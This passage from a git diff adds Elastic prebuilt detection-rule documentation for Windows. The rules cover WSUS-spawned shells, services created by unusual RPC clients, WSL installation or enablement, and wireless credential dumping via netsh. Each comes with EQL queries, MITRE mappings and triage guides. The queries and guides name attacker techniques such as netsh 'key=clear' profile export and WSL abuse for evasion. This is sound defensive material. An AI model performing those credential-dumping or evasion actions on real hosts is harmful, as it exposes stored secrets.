https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : ("cmd.exe", "powershell.exe", "pwsh.exe", "powershell_ise.exe", "rundll32.exe", "curl.exe") and + ( + (process.parent.name : "w3wp.exe" and process.parent.args : "WsusPool") or + process.parent.name : "WsusService.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-windows-service-installed-via-an-unusual-client.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-windows-service-installed-via-an-unusual-client.asciidoc new file mode 100644 index 0000000000..06808db6d2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-windows-service-installed-via-an-unusual-client.asciidoc @@ -0,0 +1,172 @@ +[[prebuilt-rule-8-19-34-windows-service-installed-via-an-unusual-client]] +=== Windows Service Installed via an Unusual Client + +Identifies the creation of a Windows service by an unusual client process. Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.x86matthew.com/view_post?id=create_svc_rpc +* https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4697 +* https://github.com/atc-project/atomic-threat-coverage/blob/master/Atomic_Threat_Coverage/Logging_Policies/LP_0100_windows_audit_security_system_extension.md +* https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 219 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Windows Service Installed via an Unusual Client* + + +*Possible investigation steps* + + +- Which unusual service-control path did the alert preserve? + - Why: Custom Service Control Manager RPC clients can create services without normal attribution; PID 0 is the path this alert needs interpreted. + - Focus: `winlog.event_data.ClientProcessId`, `winlog.event_data.ParentProcessId`, `user.domain`, `winlog.computer_name`, and `winlog.event_data.ServiceAccount`. + - Implication: escalate when PID 0 attribution combines with a local-account domain and LocalSystem; lower suspicion only when exact host, account, service, and time match a recognized deployment or test explaining zeroed attribution. + +- What would the new service execute and how privileged is it? + - Why: Event 4697 captures the create-time image path only; later service changes can contradict a clean create-time string. + - Focus: `winlog.event_data.ServiceName`, `winlog.event_data.ServiceFileName`, `winlog.event_data.ServiceType`, `winlog.event_data.ServiceStartType`, and `winlog.event_data.ServiceAccount`. + - Implication: escalate when the image path is user-writable, temporary, ProgramData, or system-masqueraded; type is driver; start type is boot, system, or disabled; or LocalSystem lacks a matching product. Lower suspicion when all service fields align with one recognized installer, endpoint agent, backup, or deployment tool. + +- Which account and logon session requested the service creation? + - Focus: service-install `winlog.event_data.SubjectUserSid`, `winlog.event_data.SubjectUserName`, and `winlog.event_data.SubjectLogonId`; 4624 `source.ip` and `winlog.logon.type`; 4648 explicit-credential context. + - Implication: escalate when the subject is an unexpected local admin or machine account, origin is remote or rare for the host, explicit credentials appear, or source is absent where remote administration is expected; lower suspicion when subject, logon type, source, and service target fit one recognized management session. Missing 4624/4648 or source fields leaves origin unresolved, not benign. + - Hint: on `host.id`, search 4624 where `winlog.event_data.TargetLogonId` equals service-install `winlog.event_data.SubjectLogonId`; search 4648 where `winlog.event_data.SubjectLogonId` matches. + - !{investigate{"description":"","label":"Linked logon for the service-install session","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4624","valueType":"string"},{"excluded":false,"field":"winlog.event_data.TargetLogonId","queryType":"phrase","value":"{{winlog.event_data.SubjectLogonId}}","valueType":"string"}]],"relativeFrom":"now-24h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Explicit-credential events for the service-install session","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4648","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectLogonId","queryType":"phrase","value":"{{winlog.event_data.SubjectLogonId}}","valueType":"string"}]],"relativeFrom":"now-24h/h","relativeTo":"now"}} + +- Do surrounding Windows Security records show a contained install or follow-on control activity? + - Focus: same-host `event.code`, `winlog.record_id`, `winlog.event_data.ServiceName`, and `winlog.event_data.SubjectLogonId` around `@timestamp`. + - Implication: escalate when the same logon session creates multiple services, pairs install with explicit credentials, or shows account changes or failures around service creation; lower suspicion when records stay limited to one expected installer session for the same service. Missing Security telemetry is unresolved, not benign. + - Hint: inspect same-session 4697 records for clustered service creation. !{investigate{"description":"","label":"Same-session service-install events","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4697","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectLogonId","queryType":"phrase","value":"{{winlog.event_data.SubjectLogonId}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + +- Is the same service-install pattern recurring in a bounded cohort or spreading? + - Focus: historical Event ID 4697 records by `winlog.event_data.SubjectUserSid`, `winlog.event_data.ServiceName`, `winlog.event_data.ServiceFileName`, `winlog.event_data.ServiceAccount`, and `winlog.computer_name`. + - Implication: escalate when the same subject creates PID 0 LocalSystem services across unrelated hosts, or service names or paths rotate; lower suspicion when exact service fields recur in the same managed host cohort with a stable subject and no contradictory service metadata. + - Hint: query 4697 for the same subject or service fields, group by `winlog.computer_name`, `winlog.event_data.ServiceName`, and `winlog.event_data.ServiceFileName`, then compare PID 0 recurrence. !{investigate{"description":"","label":"Historical 4697 service-install recurrence","providers":[[{"excluded":false,"field":"event.code","queryType":"phrase","value":"4697","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectUserSid","queryType":"phrase","value":"{{winlog.event_data.SubjectUserSid}}","valueType":"string"}],[{"excluded":false,"field":"event.code","queryType":"phrase","value":"4697","valueType":"string"},{"excluded":false,"field":"winlog.event_data.ServiceName","queryType":"phrase","value":"{{winlog.event_data.ServiceName}}","valueType":"string"}],[{"excluded":false,"field":"event.code","queryType":"phrase","value":"4697","valueType":"string"},{"excluded":false,"field":"winlog.event_data.ServiceFileName","queryType":"phrase","value":"{{winlog.event_data.ServiceFileName}}","valueType":"string"}]],"relativeFrom":"now-7d/d","relativeTo":"now"}} + +- Based on the Windows Security evidence, what disposition is supported? + - Implication: escalate when PID 0, LocalSystem image, actor/session evidence, or 4697 recurrence does not bind to one recognized workflow; close only when the same fields prove one exact service deployment or test on this host and no contradictory Security evidence remains; if mixed, preserve service-install and logon records, then escalate. + + +*False positive analysis* + + +- Software deployment, endpoint agent, backup, configuration tools, or authorized service-control/RPC testing can trigger when Service Control Manager behavior leaves PID 0 attribution. Examples include Veeam, PDQ, CrowdStrike installer, SCCM/SMS, nsnetpush, or pbpsdeploy-style patterns. Confirm service name, file, account, subject SID, host cohort, logon session, and test timing align with one product or test workflow, with no contradictory Security records. +- Before creating an exception, require stable recurrence for the same `winlog.event_data.SubjectUserSid`, `winlog.event_data.ServiceFileName`, `winlog.event_data.ServiceName`, `winlog.event_data.ServiceAccount`, and host cohort. Avoid broad exceptions on `user.name`, `host.name`, or service name alone. + + +*Response and remediation* + + +- If confirmed benign: + - Reverse any temporary containment and record the exact evidence that confirmed the workflow: service fields, subject and logon IDs, affected host, and recurrence or change context. + - Build any exception only from the stable workflow anchors validated above, not from a broad user, host, or service-name match. +- If suspicious but unconfirmed: + - Preserve the alert, original Event ID 4697 record, related 4624/4648 records, `winlog.record_id` values, service configuration, and the service binary named by `winlog.event_data.ServiceFileName` before containment. + - Apply reversible containment tied to the findings, such as isolating the host if lateral movement risk is present, restricting the subject account, or disabling the new service after preserving its configuration. Avoid deleting the service or binary until maliciousness and scope are clear. +- If confirmed malicious: + - Preserve the original Event ID 4697 record, related 4624/4648 records, service configuration, service binary, and recurrence evidence before containment or eradication. + - Contain the host and affected account based on the service definition, actor/session evidence, and recurrence pattern; weigh host criticality before isolation. + - Disable or stop the malicious service after preserving configuration and binary evidence, then remove the service and service binary only after scope is established. + - Reset or rotate credentials for the subject account when logon evidence shows misuse, and review other hosts where the same subject or service pattern created LocalSystem services. +- Post-incident hardening: + - Restrict service creation to controlled deployment accounts and administrative hosts. + - Retain Audit Security System Extension success logging and enough Windows Security history to correlate 4624, 4648, and 4697 records. + - Record the confirmed benign workflow or malicious service pattern so future alerts can compare exact service, subject, and host evidence. + +==== Setup + + + +*Setup* + + +Audit Security System Extension must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-security-system-extension + + +==== Rule query + + +[source, js] +---------------------------------- +configuration where host.os.type == "windows" and + event.action == "service-installed" and + (winlog.event_data.ClientProcessId == "0" or winlog.event_data.ParentProcessId == "0") and + startswith~(user.domain, winlog.computer_name) and winlog.event_data.ServiceAccount == "LocalSystem" and + not winlog.event_data.ServiceFileName : ( + "?:\\Windows\\VeeamVssSupport\\VeeamGuestHelper.exe*", + "?:\\Windows\\VeeamLogShipper\\VeeamLogShipper.exe", + "%SystemRoot%\\system32\\Drivers\\Crowdstrike\\*-CsInstallerService.exe", + "\"%windir%\\AdminArsenal\\PDQInventory-Scanner\\service-1\\PDQInventory-Scanner-1.exe\" ", + "\"%windir%\\AdminArsenal\\PDQDeployRunner\\service-1\\PDQDeployRunner-1.exe\" ", + "\"%windir%\\AdminArsenal\\PDQInventoryWakeCommand\\service-1\\PDQInventoryWakeCommand-1.exe\" ", + "\"%SystemRoot%\\nsnetpush.exe\"", + "\"C:\\WINDOWS\\ccmsetup\\ccmsetup.exe\" /runservice /ignoreskipupgrade /config:MobileClient.tcf", + "\"?:\\SMS\\bin\\x64\\srvboot.exe\"", + "%SystemRoot%\\pbpsdeploy.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Windows Service +** ID: T1543.003 +** Reference URL: https://attack.mitre.org/techniques/T1543/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-windows-subsystem-for-linux-distribution-installed.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-windows-subsystem-for-linux-distribution-installed.asciidoc new file mode 100644 index 0000000000..750b3e9728 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-windows-subsystem-for-linux-distribution-installed.asciidoc @@ -0,0 +1,170 @@ +[[prebuilt-rule-8-19-34-windows-subsystem-for-linux-distribution-installed]] +=== Windows Subsystem for Linux Distribution Installed + +Detects changes to the registry that indicates the install of a new Windows Subsystem for Linux distribution by name. Adversaries may enable and use WSL for Linux to avoid detection. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/windows/wsl/wsl-config + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Windows Subsystem for Linux Distribution Installed* + + +The Windows Subsystem for Linux (WSL) lets developers install a Linux distribution (such as Ubuntu, OpenSUSE, Kali, Debian, Arch Linux, etc) and use Linux applications, utilities, and Bash command-line tools directly on Windows, unmodified, without the overhead of a traditional virtual machine or dualboot setup. Attackers may abuse WSL to avoid security protections on a Windows host and perform a wide range of attacks. + +This rule identifies the installation of a new Windows Subsystem for Linux distribution via registry events. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Examine which distribution was installed. Some distributions such as Kali Linux can facilitate the compromise of the environment. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate that the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. + + +*False positive analysis* + + +- This is a dual-use tool, meaning its usage is not inherently malicious. Analysts can dismiss the alert if the administrator is aware of the activity, no other suspicious activity was identified, and the WSL distribution is homologated and approved in the environment. + + +*Related Rules* + + +- Host Files System Changes via Windows Subsystem for Linux - e88d1fe9-b2f4-48d4-bace-a026dc745d4b +- Execution via Windows Subsystem for Linux - db7dbad5-08d2-4d25-b9b1-d3a1e4a15efd +- Suspicious Execution via Windows Subsystem for Linux - 3e0eeb75-16e8-4f2f-9826-62461ca128b7 +- Windows Subsystem for Linux Enabled via Dism Utility - e2e0537d-7d8f-4910-a11d-559bcf61295a + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and registry.value : "PackageFamilyName" and + registry.path : "*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Lxss\\*\\PackageFamilyName" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Indirect Command Execution +** ID: T1202 +** Reference URL: https://attack.mitre.org/techniques/T1202/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-windows-subsystem-for-linux-enabled-via-dism-utility.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-windows-subsystem-for-linux-enabled-via-dism-utility.asciidoc new file mode 100644 index 0000000000..e1204c698e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-windows-subsystem-for-linux-enabled-via-dism-utility.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-34-windows-subsystem-for-linux-enabled-via-dism-utility]] +=== Windows Subsystem for Linux Enabled via Dism Utility + +Detects attempts to enable the Windows Subsystem for Linux using Microsoft Dism utility. Adversaries may enable and use WSL for Linux to avoid detection. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.f-secure.com/hunting-for-windows-subsystem-for-linux/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Windows Subsystem for Linux Enabled via Dism Utility* + + +The Windows Subsystem for Linux (WSL) lets developers install a Linux distribution (such as Ubuntu, OpenSUSE, Kali, Debian, Arch Linux, etc) and use Linux applications, utilities, and Bash command-line tools directly on Windows, unmodified, without the overhead of a traditional virtual machine or dualboot setup. Attackers may abuse WSL to avoid security protections on a Windows host and perform a wide range of attacks. + +This rule identifies attempts to enable WSL using the Dism utility. It monitors for the execution of Dism and checks if the command line contains the string "Microsoft-Windows-Subsystem-Linux". + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. + + +*False positive analysis* + + +- This is a dual-use tool, meaning its usage is not inherently malicious. Analysts can dismiss the alert if the administrator is aware of the activity, no other suspicious activity was identified, and WSL is homologated and approved in the environment. + + +*Related Rules* + + +- Execution via Windows Subsystem for Linux - db7dbad5-08d2-4d25-b9b1-d3a1e4a15efd +- Suspicious Execution via Windows Subsystem for Linux - 3e0eeb75-16e8-4f2f-9826-62461ca128b7 +- Host Files System Changes via Windows Subsystem for Linux - e88d1fe9-b2f4-48d4-bace-a026dc745d4b +- Windows Subsystem for Linux Distribution Installed - a1699af0-8e1e-4ed0-8ec1-89783538a061 + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type : "start" and + (process.name : "Dism.exe" or ?process.pe.original_file_name == "DISM.EXE") and + process.command_line : "*Microsoft-Windows-Subsystem-Linux*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indirect Command Execution +** ID: T1202 +** Reference URL: https://attack.mitre.org/techniques/T1202/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-wireless-credential-dumping-using-netsh-command.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-wireless-credential-dumping-using-netsh-command.asciidoc new file mode 100644 index 0000000000..4d7629969d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-wireless-credential-dumping-using-netsh-command.asciidoc @@ -0,0 +1,191 @@ +[[prebuilt-rule-8-19-34-wireless-credential-dumping-using-netsh-command]] +=== Wireless Credential Dumping using Netsh Command + +Identifies attempts to dump Wireless saved access keys in clear text using the Windows built-in utility Netsh. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/windows-server/networking/technologies/netsh/netsh-contexts +* https://www.geeksforgeeks.org/how-to-find-the-wi-fi-password-using-cmd-in-windows/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Discovery +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 218 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Wireless Credential Dumping using Netsh Command* + + + +*Possible investigation steps* + + +- What did the alert-local netsh command expose or export? + - Focus: `process.command_line`, `process.executable`, `process.pe.original_file_name`, `process.code_signature.subject_name`. + - Implication: escalate when `key=clear` appears with bulk profile listing, `export profile`, omitted profile name, remote `-r`, script-file `-f`, or redirection; lower concern only when one local profile display fits recognized support or recovery. A signed Microsoft binary does not clear credential exposure. + +- Does the launcher, session, and user context explain why this account retrieved a wireless key on this host? + - Focus: `process.parent.executable`, `process.parent.command_line`, `process.Ext.session_info.logon_type`, `user.id`, `host.id`. + - Implication: escalate when the parent is a shell, script host, remote-admin chain, document-spawned process, unexpected service identity, or unusual device-support user; lower concern when an interactive support shell or endpoint-management parent on the same host explains the exact command. + +- Did the same launcher fan out from one display command into broader wireless-profile collection? + - Why: attackers often enumerate profile names with `wlan show profiles`, then display or export cleartext secrets; same-launcher enumeration without `key=clear` is precursor discovery. + - Focus: related process starts on `host.id` and `process.parent.entity_id`, using `process.executable` and `process.command_line`. !{investigate{"description":"","label":"Process starts from the same parent","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the parent also runs profile enumeration, repeated `show profile`, `export profile`, or export without `name=`; keep review local when activity stays isolated to one profile display. + - Hint: If `process.parent.entity_id` is absent, pivot with `host.id`, `process.parent.pid`, and the alert window. + +- Did the launcher or siblings stage recovered wireless material? + - Focus: same-parent process starts on `host.id`, using `process.executable` and `process.command_line`; file events from `host.id` plus `process.entity_id` or weaker `process.pid`, reviewing `file.path`, `file.extension`, and `file.size`. !{investigate{"description":"","label":"File activity for the alerting process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when XML, redirected text, ZIP files, copied profiles, archive tools, copy utilities, cloud-sync clients, shell redirection, or script wrappers stage material for later use or transfer; missing file telemetry is unresolved, not benign. A clean file view lowers concern only when command and lineage also stay limited. + +- If local evidence remains suspicious or unresolved, do related alerts change scope or urgency? + - Focus: related alerts for `user.id`, especially credential-access, lateral-movement, staging, remote-access, or persistence findings. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden response when the same user or host also shows dumping, staging, remote access, or persistence; keep scope local when related alerts are absent and local evidence supports one bounded workflow. + - Hint: If the user view is sparse or the host is shared, review alerts for the same `host.id`. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + +- Escalate when command intent, lineage, same-launcher collection, staging, file artifacts, or related alerts show bulk credential access or broader compromise; close only when binary identity, command scope, parent workflow, user-host context, and recovery records bind to one recognized support or recovery action; preserve artifacts and escalate when evidence is mixed or incomplete. + + +*False positive analysis* + + +- Helpdesk, field-support, device-recovery, imaging, hardware replacement, or Wi-Fi profile migration can retrieve one saved wireless key. Confirm signed netsh identity, one local profile display or expected export in `process.command_line`, support-tooling parentage, and no bulk enumeration, archive staging, or transfer; use asset or ticket records only to corroborate that exact action, otherwise require the same executable, parent, command pattern, `user.id`, `host.id`, and quiet surrounding activity across prior alerts from this rule. +- Before creating an exception, validate recurrence of the same `process.executable`, `process.parent.executable`, `process.command_line` pattern, `user.id`, and `host.id` with the same limited scope. Avoid exceptions on `process.name`, `key=clear` alone, the host alone, or all netsh wireless activity. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and document which evidence matched the support or recovery workflow: command scope, binary identity, parent workflow, `user.id`, `host.id`, and absence of collection or staging. Create an exception only after the same limited pattern recurs. +- If suspicious but unconfirmed, preserve the alert record, case export, volatile process context, `process.entity_id`, `process.command_line`, `process.parent.command_line`, sibling process starts, staged artifacts when recovered, and affected `user.id` and `host.id`. Start with reversible containment such as temporary wireless or network restrictions; use host isolation only if staging, export, transfer, or broader compromise is evident. +- If confirmed malicious, isolate the endpoint or terminate the offending process through 